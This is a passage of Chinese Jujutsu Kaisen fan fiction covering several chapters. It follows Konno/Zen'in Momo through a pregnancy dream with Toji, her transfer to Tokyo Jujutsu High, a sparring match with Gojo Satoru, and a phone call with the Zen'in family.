禅院甚尔有些新奇,他忽然发现,在他们之间,好像总是他在妥协,这还是她第一次低头。 是因为孩子的存在吗? 将衣服晒好后,禅院甚尔回过头,望见今野桃忧虑的目光。 “嘁,我还没有那么脆弱,不要用看花瓶一样的眼神看我。”他不满地说道。 “好好好。”今野桃无奈说道,“是我错了。” 混乱的一天结束,晚上两人躺在柔软的大床上。 禅院甚尔的两只手交叉,枕在脑后,姿势还是那样大大咧咧。 “感觉你今天不一样了。”他低声说道。 “怎么了?” “你好像对我更加宽容、更加温柔。”禅院甚尔不太自在地说。 今野桃没说话,只是侧过身,搂住了他的腰。 果然,还是需要有一个孩子,才能让两个人建立起一个家吗。 禅院甚尔有几分自嘲地想。 窗外,城市的喧嚣已然平静,只剩下浓稠的黑暗,偶尔有车辆驶过,一点灯光如流星般转瞬即逝;窗内,床头的台灯散发出暖黄色的光,给一方天地镀上了朦胧的光晕。 “甚尔。”今野桃抚平了他眉间的褶皱,轻声说道,“你有没有想过,是因为我爱你,所以才会对你更加宽容、温柔?” 禅院甚尔的呼吸放缓了。 “孩子只会是锦上添花,而不是左右我情感的砝码。”她将他凌乱的鬓发别到了耳后,在他光洁的额头上落下了一个吻,“它不会让我们感情变得更浓,因为我对你的爱,已经到了无可增长的地步,并且将会持续到你的生命终末。” “……真的吗?”禅院甚尔不自觉地握住了她的腰,仰视着压在他胸口上的今野桃,“你会永远爱我,直到我死去?” “是的。”今野桃用亲吻描摹着他的轮廓,怜惜地说道,“与孩子无关,与你的身世无关,我只爱你。” 禅院甚尔按住了她的后脑勺,将她用力按在身上。 “等、等等,甚尔,你还怀着孩子……” “没关系。”禅院甚尔露出了一小截舌尖,“我可以让你快乐。” 一场快乐的事情做得意犹未尽,禅院甚尔不太满足。而这还只是个开始,十月怀胎,他们还要熬将近七个月。 禅院甚尔开始变得暴躁,脸上左边写着“欲求”,右边挂着“不满”。他的肚子越来越大,他开始整夜整夜睡不着觉,身体也在发生变化。 “到底还要多久……”他喃喃自语,“我现在一定变得很丑。” 熬夜都熬出黑眼圈了。 枷场太太在他八个多月的时候过来照顾他,闻言捂嘴一笑。 “还早着呢,甚尔君。”她笑叹道,“生下来可不代表结束,刚出生的小宝宝两三个小时就得喂一次,一天或许要换七八趟尿布,随时可能会醒,一醒就会哭得惊天动地……这个时候可离不了人,你必须时时刻刻陪着它……” 什么?! 禅院甚尔一脸惊恐。 “对了,甚尔君,你是顺产还是剖腹产?顺产的话,夫妻之间不能太早同房,你得养养身体才行啊……” 絮絮叨叨的话仿佛变成了咒语,念得禅院甚尔头疼。 他猛地睁开眼睛,望见黑黝黝的天花板。大颗大颗的汗水从后背沁出,他的呼吸急促,心跳飞快。 啪。 台灯被打开,今野桃揉着眼睛爬起来。 “甚尔,怎么了?”她迷迷糊糊地问道。 禅院甚尔抹了一把额头,刚要回答,猛地想起了什么,用手摸了摸肚子。 平的。 他长长地松了一口气。 “没事,做了个噩梦。” “又做噩梦了?”她小声嘟囔,“难道是最近没休息好?” “可能是白天胡思乱想了吧。”他干巴巴地说道。 “嗯……”今野桃重新躺下,拉住了他的手,“早点睡,明天我们还要去给枷场太太的双胞胎女儿过满月呢。” “好。”禅院甚尔闭上了眼睛。 没错,肯定是因为想到了孩子,所以才会做这样的梦。 “甚尔喜欢孩子吗?”他听见身边的妻子这样问道,“或许我们可以……” “不要!”他失声喊道,把今野桃吓了一跳。 “诶?”她愣了一下,“你昨天不是还说那两个女孩很可爱吗……” “不不不,一点都不可爱!”禅院甚尔坚定地说道,“我不喜欢孩子!” 他才不需要孩子来占据他们之间本就不多的时光。 区区百年光阴,弹指即逝。 今野桃仔细打量着他的神色,最后笑了笑。 “好吧,不管甚尔的决定是什么,我都同意。”她亲了亲他的脸颊,“听甚尔的。” “嗯。”禅院甚尔的手指插入她的指缝,紧紧扣住,“我只爱你,我的一切都只属于你。” “啊,怎么突然这样说……” 禅院甚尔用另一只手扯开衣襟,露出饱满的胸膛。 “不想尝尝看吗?” 他的眉眼在灯光下,显得更加好看了,紧实的肌肉泛着蜜色的光泽。 今野桃的喉咙微微颤动。 第46章 五条悟有个青梅竹马,他们自幼相识,两小无猜…… “什么啊!什么青梅竹马!”五条悟不满地嚷道,“是宿敌!是死对头啊!” 六岁的时候第一次见面就被她按在地上暴揍,气得他扯掉了蒙眼睛的布条,力量透支,差点把脑子烧坏;七岁的时候重振旗鼓,再次被一顿痛扁,让他领悟了术式顺转苍;九岁的时候两人一见面就开打,他一招术式反转赫炸掉了半个禅院,最后被不完整的魔虚罗锤进了地底。 直至今日,他们仍然没有分出胜负。 夏油杰噗嗤一声笑了。 “什么啊,难道不是悟一直在输吗?”他调侃道,“真的很难让人相信你们不分上下诶。” “因为她也不是每次都可以破我的‘无下限’啊!”五条悟洋洋得意地说道,“而且她又不是全身而退,每次都会被我也打个半死不活!” “唔,所以……”夏油杰开始吟唱起来,“宿敌就是宿敌啊……前面忘了中间忘了,总之,宿敌就是……” “咳咳!”家入硝子打断了他的怪话,“那五条你到东京咒高来,是为了避开她吗?” “哈?避开?”五条悟瞪大了眼睛,“你在开什么玩笑,我需要避开她?我只是在京都呆腻了好吗。” 虽然只认识了两个月,但自认对五条悟已经有了一定认识的夏油杰猜测,他这句话里应该有七分是真的,还有三分嘛…… “听你的形容,你的那个小青梅似乎挺可怕的啊。”他打趣道,“能跟你打得不分上下,不会是‘喷火龙’吧?” 五条悟沉吟片刻,回道:“不,不是‘喷火龙’,是‘霸王龙’!” 能把向来封建至极、重男轻女的禅院治成那个样子,“霸王龙”也远不如她矣! 夏油杰和家入硝子倒吸了一口气,脑海中已经浮现出了一位身高一米九、体型健硕如山、比五条悟还要大上一圈的壮士! 这样伟岸的女子,说是“小青梅”确实感觉怪怪的哈。 “杰,硝子,你们过来一下。”五条悟朝他们招了招手,三个人挤在一起。 五条悟举起手机,咔嚓了一张照片。 “你这是在干嘛?”家入硝子凑近了问道。 只见五条悟在手机上噼里啪啦地敲击着,飞快地打字。 “哈哈,当然是发消息给她。”他眉飞色舞地说道,“今年京都咒高的新生差得要死,完全比不过我们,她肯定不爽。我跟你们说啊,那家伙是个top癌晚期患者,绝对不会允许自己低人一等的!” 所以从小到大你才挨了那么多揍是吗? 夏油杰和家入硝子对视了一眼,无奈摇头。 就在他们嬉笑打闹的时候,夜蛾正道走了进来。他用力地咳了两声,教室里安静下来。 “在上课前,跟大家说一件事。”他严肃地开口道,“有位同学要转到我们学校来,以后我们班就是四个人了。” “转校生?”五条悟欢呼一声,“是男生还是女生啊?” “是女生。”夜蛾正道推了推眼镜,说道,“她是从京都那边转过来的。” 五条悟的笑容僵在了脸上:“等等,夜蛾老师,我猜她不会是姓禅院吧?” “嗯?”夜蛾正道看向坐立不 安的男生,恍然大悟了,“也对,你们都是御三家出身,应该彼此很了解。” 夏油杰和家入硝子低头忍笑。 那可太了解了。 “正好我下午有点事要出去,我已经把地址发给她了,你们一点半的时候到门口去接一下她就行。”夜蛾正道的话音刚落,五条悟立刻跳了出来。 “我才不要……” “好的,夜蛾老师。”夏油杰一把按住了五条悟,捂住他的嘴巴,笑吟吟地说道,“我们一定会接到新同学的!” 家入硝子跟着点头:“没错,关爱同学是每个学生的义务!” 包括看同学笑话。 五条悟艰难地挣扎出来,仍旧不敢置信:“夜蛾老师,转学这么简单的吗?她很强的诶,京都那边会愿意放人?” 据他所知,京都府立咒术高专可是费了老大劲才到禅院说服了她去上学,怎么说转学就转了? 夜蛾正道诡异地沉默了,他移开目光,镇定地说道:“京都高专那边已经同意了,也尊重学生自己的意愿。” 那就是说,是她主动提出转学的? “不会是追着悟来的吧?”家入硝子小声嘀咕。 “唔,很有可能呢。”夏油杰撑着下巴,笑得看不见眼睛,“好幸福啊,悟。” 五条悟:“……” 吃午饭的时候,五条悟通过曲折的打探,从五条家那里知道了对方转校的原因。 “什么?!整个京都咒高已经全部被她打过一遍了?!”五条悟对着手机怪叫道,“京都咒高怎么这么垃啊!就没有能让她多揍几次的?” 竖着耳朵在旁边听的两个同窗惊恐地面面相觑。 不是吧,这么可怕?! “哈啊?!她连学长和学姐都打了?!老师也打了?!!”五条悟发出惊叹的声音,“老师也打不过她?!那她还来学校干嘛啊,回禅院不好吗?禅院可是把她当皇帝供着耶!” 这有什么不能理解的,五条不也是把你当皇帝一样供着吗,你不还是要来东京咒高。 五条家族的人心中腹诽。 “好吧好吧,我知道了。”挂断电话,五条悟一抬头就看见旁边表情空白的同窗们。 夏油杰单手扶额,狭长的眸子里流露出凝重的光:“我不会被校园霸凌吧?” 他还想好好地度过三年校园时光呢! 路过的庵歌姬:嗯??看看你那双开门的身材,像是会被霸凌的样子吗? 家入硝子已经打开手机,开始搜索“被霸凌该如何应对”。 第一条:告诉老师和家长。 第二条:反击回去。 反击……嘶,她和“霸王龙”小姐的实力应该是三七开,“霸王龙”小姐三拳,她头七。 泪目了。 家入硝子咸鱼似的瘫在了椅子上。 “不管怎么说,先把人接到吧。”夏油杰有了决定,“如果她真的不讲道理,我也不会屈服的!” “不愧是我的好兄弟!”五条悟大喜,“我批准你加入‘反霸王龙’组织!以后一起对抗‘霸王龙’!” 夏油杰头疼地揉了揉眉心:“真难办啊……” 但再难办,还是得办。 当时间来到一点二十,三人也抵达了山脚,准备迎接新同学。他们神色紧张,严阵以待。 “等下她要动手,悟就断后,我用咒灵带着硝子先跑。” “啊?”五条悟扶了一下眼镜,皮笑肉不笑,“你可真好啊,杰。” “谢谢你了,夏油。”家入硝子感动地拍了拍他的肩膀。 就在说话时,一辆轿车从远处行驶过来,三人立刻噤声。 来了。 车子停住,司机下车,走到门边恭敬地弯腰拉开车门。 果然是一副封建做派,看着就是那种会仗势欺人的贵族。 夏油杰和家入硝子想道。 五条悟咳了两声,表情变得有些不自在。 刚过正午,阳光已经不算太毒辣,金色的光辉倾洒在大地上,因为学校建在山里,风吹过的时候,有一股泥土的气息。 这个季节,这里是没有花的。但当女生从车上下来的时候,他们好像隐约闻到了芬芳。 她长得太漂亮了,白皙的肌肤透着淡淡的粉色,让人想到初春枝头的粉白樱花;那双黑色的眼睛里仿佛含着一汪清泉,波光流转间,晶莹清澈。薄纱的裙摆随着她的步子飘动,如云似雾。 她的嘴角微微上扬,对着夏油杰和家入硝子轻轻颔首。 “你们就是夜蛾老师说来接我的同学了吧?”她连声音也是软软的、甜甜的,“你们好,我叫禅院桃,以后请多关照。” 连名字也这么可爱…… “你、你好,我叫家入硝子。”家入硝子愣愣地回答。 “你好,我叫夏油杰。”夏油杰掐了掐指尖,让自己冷静一点。 女生侧过头,对出神的五条悟说道:“好久不见呀,悟。” 好久了吗?他们好像是有几年没见了……她以前是长这个样子的吗?女大十八变也太可怕了些吧…… 五条悟的大脑变得混乱起来。 “辛苦你们给我带路了。”她对家入硝子的态度显然比对两位男生要好一点。 “没事,我们一起走吧,我还可以顺便带你去看看寝室,女生寝室,男生可是禁止入内的。”家入硝子挽住她的手臂,高兴地说道,“你有什么行李吗?让男生带上去。” “咦,可以吗?会不会很麻烦……” “不会不会,夜蛾老师让我们过来不就是做这个的吗。更何况,”家入硝子意味深长地说道,“给美少女搬行李,是他们的荣幸。” 两人渐渐走远,夏油杰沉默良久,揽住五条悟的肩膀说道。 “悟,当初第一次见面,我就知道,你这个朋友我交定了。”他真诚地说道,“所以,你可以把她的手机号给我吗?” 第47章 今野桃其实早就发现家入硝子和夏油杰的不对劲了,她只是稍微想一想就能猜到发生了什么。 “是不是悟偷偷跟你们说我坏话了?”她轻哼一声。 家入硝子犹豫了一秒钟,果断开口道:“没有,他不是偷偷的,他是光明正大。” 好家伙,原来如此。 “他说我什么了?”今野桃咬牙笑问,“能告诉我吗?” “其实也没说什么,就是说你比较凶,打架很厉害。”家入硝子多少还是给五条悟留了点面子。 行吧,算他识相。 “悟就是一直输给我,心里不甘罢了。”今野桃无奈地笑道,“毕竟我们两家可谓是宿敌啊。” 哦?还有秘密?请细说! 家入硝子听八卦听得津津有味。 五百年前,御三家的关系并不如现在这样井水不犯河水,维持着表面的和平。他们针锋相对,硝烟味十足。 诞生了“六眼”的五条和觉醒了“十种影法术”的禅院尤其如此,最终在一次御前比武中,两边的家主同归于尽。 没了顶梁柱,两个家族差点消失在历史长河中,他们这才领悟到了和平的重要性。 不过虽然约定好停战,但两家的梁子肯定是结下来了。 “悟一出生就有‘六眼’,黑市里的悬赏金高达一个亿,所有人都认为,他会是未来咒术界的领头人。”今野桃叹道,“多么标准的‘天之骄子’,直到我觉醒了‘十种影法术’。” 于是他的克星出现了。 或者说,他们彼此互为克星。 “六岁那年我和悟第一次见面,其实是有人刻意为之。我和悟打 了一架,他半死不活,我奄奄一息。“今野桃摇摇头,“他们都以为我和悟的关系很糟糕,其实不然。悟是一个越挫越勇、从不服输的人,我也不是心胸狭隘、小肚鸡肠之辈。” 当然,她隐瞒了自己其实有故意放水。毕竟五条悟平均一个月要遇到两位数以上的刺杀,她并不想取而代之。将实力维持在伯仲之间,不仅激起了五条悟的好胜心,还让其他人都以为,能杀掉五条悟的存在出现了。 于是他们两人的遇刺概率反而都大幅下降,生活也变得宁静了许多。 家入硝子懂了。 所以你们越打关系越好是吗?输了就输了,下次再来。 “我听说你挑战了京都高专那边所有的人?”家入硝子斟酌着用词。 今野桃并不掩饰,点头回答:“是啊。京都高专大概是想培养我和悟打擂台吧,但是他们真的太废柴了,我不想一拖无数。所以打来打去,还是悟最抗揍、啊不是,还是和悟一起学习更能提高自我。” 家入硝子:……她其实听见了,你在说悟很抗揍对吧! 果然是五条悟克星! “对了,那我们加个联系方式,我把你拉到群里。”家入硝子掏出手机说道。 “好呀。”今野桃从善如流地回应。 然而,家入硝子打开群聊,表情微变。 “05届高专学生交流群”怎么变成了“反‘霸王龙’小队”?五条悟那家伙什么时候改的名字? 家入硝子的手指快速按下键盘,将群名改成了“美女与野兽”。 [五条悟大帅哥:??硝子你在做什么啊?] [明天开始戒烟:我把新同学拉进群。] [五条悟大帅哥:……] [夏油杰:好的。] [五条悟大帅哥:杰,你怎么也改名字了?] [夏油杰:哈哈,你在说什么呢,悟,我可是正经人。] 家入硝子冷笑一声。 呵,两个人渣。 [‘禅院桃’加入群聊。] “谢谢你呀,我可以叫你硝子吗?”今野桃刚刚加进群,还没说话,忽然跳出来一条好友申请。 “可以的,那我叫你小桃吧。” 美女谁不爱,家入硝子觉得,每天看见新同学的这张脸,她的心情都会好一点。 [五条悟大帅哥将群名修改为‘反“霸王龙”小队’。] [五条悟大帅哥:我是绝不会向黑恶势力屈服的!] 今野桃皱着眉,先是同意了这条好友申请,随后抬头问家入硝子:“这个‘霸王龙’,不会说的是我吧?” 家入硝子移开视线,又很快反应过来:“那是五条自言自语的,我可没答应。” 这么可爱的女孩子,哪里像霸王龙啊!五条悟果然是眼镜戴久了,视力不行了。 建议换成老花镜。 今野桃收起手机,面色平静。 “果然,棍棒底下出孝子。”她感慨道。 家入硝子:???好像哪里不对。 “寝室什么时候去看都行,我现在有更加重要的事情要做。”今野桃对家入硝子微笑道,“硝子要跟我一起来吗?” 感觉有好戏可以看。家入硝子立刻答应了下来:“好啊。” 今野桃冲下了楼梯,正好迎面碰上站在门口的五条悟。她朝外面的空地歪了歪头,说道:“来练一练吗?” 五条悟愣了一下,随即活动起了手腕。 “哈哈,好啊。”他握了握拳头,兴奋地说道,“这么几年过去,你没有变弱吧?” “这句话该是我说的才对。”今野桃冷笑道,“还是老规矩吗?” “老规矩。”五条悟爽快地说道,“谁输了,谁就给对方做一天的仆人。” 哇,玩这么大? 家入硝子和夏油杰在心里惊叹一声。 不过……是错觉吗?怎么感觉这个规矩有点暧昧了? “要换一件衣服吗?”夏油杰迟疑地说道,他没有提起今野桃身上单薄的裙子,只是对五条悟开口,“我们的校服是用了特殊的工艺,防御性比较高,而且对咒力具有抵抗性。” 校服就相当于是一件咒具了。 “我难道还会占这种便宜?”五条悟被激得当场把外套一脱,想都没想地开始脱裤子。 “不不不!”夏油杰赶紧一把抓住他的腰带,“裤子就不用了吧!” 家入硝子和今野桃同时捂住了自己的眼睛。 噫—— “谢谢你的慷慨,但我们对你的果体毫无兴趣。” 五条悟果然还是那么傻。 今野桃有点想笑。 或者说,他对在场的几人都很信任,潜意识里觉得这个环境是安全的,所以把脑子丢掉了。 把腰带重新系好,五条悟摆出了起手式。 “行,现在可以开始了吧!” “好。”今野桃手指交叉,“那我也要不客气了,鵺!” 形似猫头鹰的式神从影子里冲了出来,既能用来干扰敌人,攻击力也高,关键时刻还能载人飞天。 这是今野桃最喜欢用的一个式神。但五条悟很不满意。 “看不起我吗?”他一发苍击中了鵺的翅膀,但式神被打散后又很快凝聚起来,“快把你的魔虚罗召唤出来!” “你确定吗,悟。”今野桃避开他的攻击,慢条斯理地说道,“我的魔虚罗再多适应几次,你的术式就要对我无效了哦。” 之所以会被称为克星,主要就是魔虚罗能适应世间的一切现象,当它承受的攻击次数足够多,就会免疫该术式,甚至能够模仿出来。 因此,只要拉长战斗时间,五条悟的“无下限”最后也会被她无效化。 “区区魔虚罗而已,”红色的光芒在五条悟的手中闪烁,他意气风发地说道,“只要在它适应前,用最猛烈的攻击摧毁它,不就行了吗!” 术式反转赫! “不够哦,悟。”今野桃翻身坐在鵺的上面飞了起来,“魔虚罗已经记住你的这招了,你还有没有新的花样啊!” 好嚣张!之前以为悟就足够嚣张了,没想到新同学也是一样啊! “烦人!”五条悟嘀嘀咕咕地说着,他哪里不知道该开发新的招数了,问题是一时半会儿怎么能做得到嘛! 盘旋了两圈,今野桃看出五条悟已经技穷,于是爽朗地笑道:“轮到我咯!” 她从鵺上跳了下去,笔直地冲向五条悟。 “八握剑异戒神将魔虚罗!” 没有眼睛、脑袋长得像个飞蛾的最强式神被召唤出来,它的右手附着一把退魔之剑,气势汹汹地劈向五条悟。 五条悟飞身向后,不敢接它这一刀。 因为他的无下限不一定能起效。 今野桃也没有让魔虚罗乘胜追击,而是在它的掩护下冲向了五条悟。肌肉和肌肉互相碰撞,他们抛弃了术式,全凭拳头。 “很少见诶,五条被压着打。”不知道什么时候,旁边围了一圈围观群众。 “那可是禅院的‘至宝’。”冥冥抱着手臂,调侃道,“我们也算是过了一把天皇的瘾了。” “加油啊,学妹!”庵歌姬给新来的学妹加油鼓劲。 轰—— 伴随着一声巨响,两人一同撞进了教学楼中。 五条悟开启了无下限,却没有将今野桃弹开。 碎石和木屑从她的脸上划过,一丝伤痕也无。 砰! 两人缠斗在一起,在地上滚了两圈。最终的结果,是今野桃压在五条悟的背上。 她的膝盖顶着他的腿窝,两只手将他的双手按在了头顶,上半身抵住他的肩膀。就算没有嗑道具,但拉满了的30点属性值仍然可以压制住现在全属性最高只有20点的五条悟。 可恶!她吃什么长大的!怎么力气这么大! 五条悟侧着头,口中不断喘着粗气。 “怎么样,服了吧?”今野桃的眼睛亮得吓人,直勾勾地盯着他。 但五条悟“看见”的更多。 他“看见”女孩剧烈起伏的胸脯,汗湿的刘海一缕缕地贴在通红的脸颊上,汗珠顺着脸颊滑落,在下巴处汇聚,摇摇晃晃半天,最后啪嗒一声,落在了他的身上。 五条悟难以抑制地抖了一下。 他觉得自己的心,突然跳得好快。 第48章 夏油杰很快跑了过来。 “悟,小桃,你们没事吧?”他担忧地问道,目光在两人的身上逡巡,没有看见血迹。 “没事啦,杰。”五条悟坐在地上,表情有点臭。 夏油杰不用问,就已经知道了这场架谁是最后的胜利者。如果五条悟赢了,他现在绝对是猖狂大笑,恨不得每个人都听见他赢的消息。 “谢谢你的关心,夏油同学。”今野桃将凌乱的发丝规整好,笑吟吟地说道,“我和悟一样,叫你杰可以的吧?” “当然。”夏油杰点点头,“你们没事就好,我们快下去吧,夜蛾老师已经来了。” 这样几乎山摇地震的动静,夜蛾正道听不见才怪。可惜他来晚了,战斗已经结束,他只能看见一片废墟。 血压开始升高了…… “悟!”他大声喊道,“给我过来!” “干嘛只叫我一个人啊!”五条悟不高兴地说道,“明明她也有份啊!” 于是夜蛾正道又看向这个刚刚入学的女生,她耸了耸肩膀,果断说道:“账单寄到禅院家。” ……好吧,能有人赔偿就行。 夜蛾正道揉了揉额角,已经可以预见到自己辛苦的未来几年了。 “你们两个,三千字检讨,明天交给我。”他冷酷地说道。 场上一时间静了下来。 五条悟倒是会写,但禅院家的那个,愿意服从夜蛾正道的管教吗? 从她出现,这数个小时里,有关这位“禅院至宝”“十种影法术继承者”的相关传闻已经出现在了东京高专许多人的手机里,她的英勇事迹自然也被大家所知道。 禅院桃,可是连老师都会殴打的存在啊! 那么问题来了,夜蛾正道能打得过她吗? 在众人的注视下,女生苦恼地挠了挠脸颊,开口道:“好吧,既然悟要写,那我也写吧。” 五条悟抓狂:“笨蛋啊!你应该说你不写,这样我不就也能赖掉了吗!” 咚! 夜蛾正道在五条悟的脑袋上敲了一个大包。 “做错了事情就要受罚!”夜蛾正道严厉地说道。 五条悟蔫了下来。 幸好寝室没有被撞坏,今野桃拍了拍衣服上的灰,对夜蛾正道说道:“老师,那我跟硝子先回宿舍了。” “去吧去吧。”夜蛾正道觉得,他必须想个办法好好约束一下这些孩子们了。 咒术师这个职业本就容易精神不稳定,必须认真教育。 就在今野桃要跟着家入硝子离开的时候,她忽然转过身,对五条悟勾了勾手指:“悟,来帮我拿行李。” 五条悟忍气吞声地拎起了两个行李箱,一边小声地骂骂咧咧,一边跟在两个女生身后。 果然是克星啊…… “不过看五条悟那么听话,我竟然有点爽。”庵歌姬小声对旁边的冥冥说道。 冥冥正在快速地打字,将今天所看见的情报记录下来。 “五条和禅院啊……”冥冥露出了一个意味深长的表情,“总之,他们可没那么简单呢。” 三人来到宿舍门口,五条悟把行李箱放了下来,不太自然地说道:“我就不进去了吧。” “行,那你记得要随叫随到哦。”今野桃挑眉笑道。 五条悟轻哼一声:“我可不是玩不起的人,走了,回去洗澡。” 说完,他大步流星地跑了。今野桃从行李箱里取出一份点心,递给家入硝子:“也辛苦你带我来了。” “没事。”家入硝子接过盒子,心情不错地说道,“我的宿舍就在走廊尽头,你有什么事可以来喊我。” “好,谢谢你,硝子。” 今野桃也急着洗澡,和五条悟打了一架,出了一身汗不说,衣服也破了。 她快速地把自己打理干净,忽然发现自己忘带一样东西。 吹风机。 她的头发过了肩膀,又厚又密,如果不用吹风机,得好久才能干。犹豫了两秒钟要不要在商城里买一个,今野桃还是放弃了。 她穿上一套运动服,回到寝室,用毛巾把头发包住,召唤出鵺,从窗户口跳了出去。 男生宿舍就在女生宿舍对面,今野桃很快就找到了五条悟的房间。巧得很,她落在窗户上的时候,他刚好从卫生间里出来。 “呜啊!”五条悟被骤然吓了一跳,飞快地披上衬衫,遮挡住里面的无袖短T,“你干什么啊!都不打声招呼就来!” 今野桃掏了掏耳朵,漫不经心地回道:“好啦好啦,下次会记得敲门的。” 放屁,她才不会! 五条悟快速地将扣子扣好。小时候也就罢了,怎么长大了她还是这样没有一点性别观念啊! “找我干嘛?”他嘟囔着,“要吃饭还是去逛一逛学校?” “都不是。”今野桃扯开头上的毛巾,说道,“帮我吹头发。哦对了,你有吹风机的吧?” 五条悟有“无下限”,万一他洗完头甩一甩就干了呢? “你真是懒啊,吹头发还要别人帮忙。”五条悟当然有吹风机,还是大牌子的。 今野桃拉开椅子就坐下,好似自己才是这间宿舍的主人:“你又不是别人。” 五条悟抿了抿嘴。 也对,他们毕竟是一起长大,情谊自然非同一般…… “你是我的仆人嘛。”今野桃回头,挑衅一笑。 五条悟:“……” 他面无表情地插上插头,将风力开到最大。热风吹起她的头发,糊了她一脸。 “五条悟!”今野桃抓狂地喊道。 又是你来我往的一番“友好交流”,两人总算是安静下来了,房间里只有吹风机呼呼的风声。 女孩的头发已经吹到了半干,柔顺地披在身后。夕阳的余晖从窗户口洒进来,如融化的金子一般落在她的头发上。 五条悟的动作放缓了,力道逐渐变得轻柔。他的指尖穿过她的发丝,从发根处慢慢捋到发梢。 大概是风太热了,她的耳朵泛着红色,手背擦过的时候,隐约能感觉到一点烫。 他连忙把热风调到了冷风。 “咦,吹完了吗?”今野桃伸手抓了抓脖子,“别想偷懒哦,悟。” “你好烦,又不是没吹过。”五条悟撇撇嘴,宽大的手掌将她的头发拢起来,风口对准了发根,轻轻摇晃。 今野桃舒服得半眯起了眼睛。 “不错不错,技术有提高。”她满意地说道。 五条悟没有回答。他的目光不受控制地落在那一小截洁白的后颈上,大概是因为刚刚太过粗暴,几道爪痕浮现出来,让他想起了雪中的梅枝。 他用大拇指轻轻地揉了揉,换来了对方一声放松的轻喘。 “你你你!你干什么啊!”五条悟猛地后跳,惊恐地看着她。 今野桃被吓得一激灵,茫然地四处张望:“啊?怎么了?有虫子?” 五条悟的脸红得厉害,瞳孔震惊,好像她才是最可怕的虫子。 “你、你刚刚叫什么啦!”他超级大声地说道,仿佛在掩饰秘密。 今野桃根本就没反应过来,只觉得五条悟又在撒娇。他真的很像从前她见过的一只流浪猫,明明相处得好好的,摸着摸着突然就要回头咬她一下。也不咬破皮,就是拿她的手磨牙。 咬两口之后吐出来,又当无事发生。 他肯定是想赶她走。算了,反正头发也吹完了。 今野桃飞快地捏了一下五条悟的脸,在他没反应过来的时候,又跳出了窗外。 “行了行了,我继续回去整理行李了。”她抓住鵺的爪子,问道,“晚上一起吃饭吗?” 五条悟只是蹲在地上,抱着膝盖不说话。 好吧。今野桃皱了皱眉,刚想开口,手机铃声忽然响了起来。 “那我走了,有事打电话给我。” 一阵风吹过,今野桃已然消失在了窗外。 五条悟怔怔地看着地板,也不知道有没有听见这句话。 夏油杰在快到饭点的时候敲响了他的门,但一直没人开。他干脆按下把手,直接进去了。因为五条悟的大少爷习惯,夏油杰有时候会来帮他整理房间,两人也 经常一起串门打游戏。 房间里似乎飘着一股香气,若隐若现。 “悟?” 没有人回答,夏油杰只能掏出手机,拨打了五条悟的号码。 几声铃响,对方接通了。 “你在哪里呢,悟,要不要吃晚饭?” “在洗澡!马上就好!”五条悟的声音透过哗啦哗啦的水声,有些听不清楚。 公共浴室在一楼,并不和他们的寝室在一起。 夏油杰无奈说道:“那你快点!” 之前就说要洗澡,怎么现在还在洗,他也太爱干净了吧,一个澡能洗一个多小时吗? 正要离开,夏油杰忽然在地上看见了什么。他走过去,弯腰将它捡了起来。 是一根长头发,黑色的。 比他的要长。 第49章 除了一根头发,五条悟的房间里,还多了一条陌生人的毛巾。 它被随手甩在床边上,然后又被主人遗忘。 夏油杰之所以确定这不是五条悟的毛巾,是因为上面绣的图案。 封建保守的家族总有些奇怪的坚持,比如在属于自己的东西上打标记。五条悟的私人物品大多是家里准备,家纹就在最显眼的位置,夏油杰都认识了。 而这块毛巾上,家纹不一样了。 鬼使神差地,夏油杰将它拍了下来,发给见多识广的学姐。 “冥冥学姐,打扰了,请问这是哪家的家纹呢?” 冥冥回得很快,也很简短:“禅院。” 发了一句“谢谢”,夏油杰收起手机。 禅院桃来过了,或许是悄悄来的。这中间……发生了什么呢?。 今野桃关上窗户,接通了电话。 禅院直毘人的声音从听筒那边传来:“夜蛾正道给我打电话说,要我们赔偿损失。” “啊,没错。”今野桃无所谓地说道,“和五条悟打了一架。” 禅院直毘人停顿了几秒,问道:“赢了吗?” 赢了家族报销,输了走她的私账。 “这还用问?”今野桃掸了掸领口,志得意满地说道,“我什么时候输过。” 禅院直毘人笑得声音都在抖:“不错。” 赢了五条悟,赔钱都是快乐的,就当做是他的医药费了。 “乐岩寺太保守了,京都高专那边又派系林立,你去东京高专倒也不错。”禅院直毘人自以为是地指点道,“不过你……” “说完了吗。”今野桃不耐烦地打断了他的话,“我离开京都高专就两个原因,一个是因为他们太烦了,另一个是因为五条悟在东京高专。你不要想得太多了。” “……小桃,你的脾气还是这么糟糕啊。” “我才离开了两个月,你就得了老年痴呆吗?”今野桃笑了起来,“我的脾气,什么时候好过?” 让她去京都府立咒术高专,本来是打算把她引见给同辈人,确立她领头者的地位。 结果地位是确定了,那些人也被打得见了她就连滚带爬地逃跑。学校的告状电话几乎是一日三餐地往禅院打,有段时间禅院直毘人听见铃声响心跳就要加速了。 他哑口无言,却又拿她没办法。 就像五条家族对待五条悟,是他们需要五条悟,而不是五条悟需要他们。 禅院桃也是同样如此。 难不成严苛管教,让她顺服吗?这个办法,在小时候已经用过了。 没用。 只能说,天才就是这样的。越是压迫,反抗就会越加激烈。他们又不是真的想让两边离心,最后只有不了了之。 而且她还生着一张那样绝美的脸,就算做了什么坏事,当看见她的时候,第一反应也只剩下了——她一定是有苦衷的。 比如他的傻儿子禅院直哉,至今还依然认为,都是族里逼迫,禅院桃才会同族中关系不冷不热。 他是忘记自己挨过多少次打了! “是桃姐姐的电话吗?”比今野桃小一岁的禅院直哉还没有去读书,听见父亲的说话声,连忙赶了过来。 禅院直毘人冷眼看着自己不成器的儿子夺走手机,脸上满是期待。 “桃姐姐,你什么时候回来啊?” “唔,是直哉啊。”今野桃听出了声音,“我没打算回去哦。” 禅院直哉眼睛里的星星熄灭了一些,他扭扭捏捏地说道:“桃姐姐,我决定明年也去高专。” 禅院舍不下京都府立高专的利益,所以禅院直哉应该就是去那边读书了。 今野桃笑出了声:“是吗,那你可要小心了。那些人打不过我,兴许会把怒气发泄在你的身上呢。” “我会努力的!绝不丢了桃姐姐的脸面!”禅院直哉大声说道。 “行啊。”今野桃漫不经心地说道,“那就看你的表现了,直哉,不要让我失望啊。” 禅院直哉兴奋得发抖:“是!” 禅院家封建,女人也被约束得厉害。禅院桃六岁那年觉醒“十种影法术”,但也并不是马上就得到了重用。 家族中更多的声音,是让她成为某人的妻子,从而诞下更多、更强的后代。 禅院直哉泡在这种泥潭里,早已变得一样腐朽恶臭,也妄想得到她。 然后这些人全部都被正义的铁拳修正了思想,在她面前变得温良起来。 禅院直毘人扯了扯嘴角,想道:坏了,这孩子怕不是给禅院桃生的。 